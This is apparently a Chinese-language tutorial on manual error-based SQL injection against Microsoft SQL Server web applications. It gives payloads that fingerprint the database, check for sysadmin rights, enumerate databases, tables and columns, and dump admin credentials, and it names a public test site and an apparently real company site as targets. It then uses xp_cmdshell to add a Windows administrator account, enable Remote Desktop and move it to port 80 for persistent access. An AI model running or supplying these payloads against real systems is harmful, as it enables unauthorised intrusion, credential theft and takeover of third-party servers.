可以创建一些sqlserver登陆账号
强制实施密码策略,更有利于安全性
用户映射(创建用户对另一些数据库的权限)一般是public只能去读取
状态(权限)
创建完成后,可以以这个登录名登录。
二·常见语句
创建数据库:
create database database-name
删除数据库
drop database dbname
查询所有
select * from 表名
三·数据库权限
最大sa权限:数据库操作,文件管理,命令执行,注册表,读取等。system
db权限:文件管理,数据库操作等。user-adminstrators
public权限:数据库权限。guest-uesrs
一·调用数据库代码
<%
set conn =server.createobject(“adodb.connection”)
conn.open “provide=sqloledb;source=local;uid=sa;pwd=******;database=database-name”
%>
其中,provide后面的不用管,照写;source后面的可以是ip地址,这里用的是本地;sa为内置的用户,它的密码是在安装的时候设置得;database后面是要连接得数据库名称,列:mydatabase(不需要扩展名)
二·MSsql数据库判断
1.判断是否有注入
and 1=1
and 1=2
/
-0
2.初步判断是不是MSsql数据库注入
and user>0
3.判断数据库系统
MSsql
and (select count(*) from sysobject)>0
Access
and (select count(*) from msysobject)>0
4.测试权限结构(mssql)
and 1=(select lS_SRVROLEMEMBER('sysadmin '));–
测你当前是什么身份
返回正常是sa
删除线处是服务器角色名称
5.可能报出所有数据库
and 1=(selcet name from master…sysdatabases for xml path)
6.测数据库当前版本情况
and 1=(select @@version)
也可以
id=@@version,id=是原有的
7.查当前连接数据库名称
and 1=(select db_name())
也可以
id=db_name(),id=是原有的
三·获取第一个用户数据库
跑一下网站,看当前的sql server有哪些数据库
1,代表第一个
and 1=(select top 1 name from master…sysdatabases where dbid>4)
dbid>4,前四个是系统默认数据库
运行后,报出来第一个就是test数据库(参照上一篇周报,第五个数据库就是test,第6个是aaa)
然后
and 1=(select top 1 name from master…sysdatabases where dbid>4 and name<>‘test’)
运行,就会报出来aaa
也可以
and 1=(select top 1 name from master…sysdatabases where dbid>5)
四·获取表名
and 1=(select top 1 name from sysobjects where xtype=‘u’)
例如运行后报出 news表
再加上
and 1=(select top 1 name from sysobjects where xtype=‘u’ and name<>’ news’)
报出来 admin 表
再往后加上
and 1=(select top 1 name from sysobjects where xtype=‘u’ and name<>’ news’ and name<>‘admin’)
先运行
and 1=(select top 1 name from sysobjects for xml path)
如果没报错,再接着运行
and 1=(select name from sysobjects for xml path)
就可报出所有的表
五·获取列名
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘admin’))
列出第一列admin
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘admin’ ) and name<>‘admin’ )
列出第二列pass
都跑出来后就可以去跑数据了
and 1=(select top 1 admin from admin)
第一个admin是列,第二个是表名
第一个admin可以换成pass
顺序:
先报数据库→报表→报列→跑数据
以上均为手工
测试站点:
http://testasp.vulnweb.com/showforum.asp?id=0
http://www.langesteel.com/onewll.asp?id=42574
上面新建用户两条语句要放到 id=数字 后执行,就可以添加上。
恢复:
执行返回正常的话,恢复后就可以执行系统命令了
net user 用户名 密码/add
net localgroup adminstrators 用户名/add
把该用户添加到管理员组
如果对方没开启远程桌面端口,就用这条语句打开对方3389端口:
;exec master…xp_cmdshell ‘sc config termservice start=auto’
;exec master…xp_cmdshell ‘net start termservice’
;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /vfDenyTSConnections/t REG_DWORD /d 0x0 /f’
以上都放到原有 id=数字 后
执行以下,连上后,就可以用账户登陆了
七·sa权限
sa权限下扩展存储攻击利用方法,test位置是名称,password密码
如果本地路由器没有3389端口,则可以把3389端口改到端口80
;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP_Tcp” /v PortNumber /t REG_DWORD /d 0x50 /f’
接下来我会为大家介绍各种工具的使用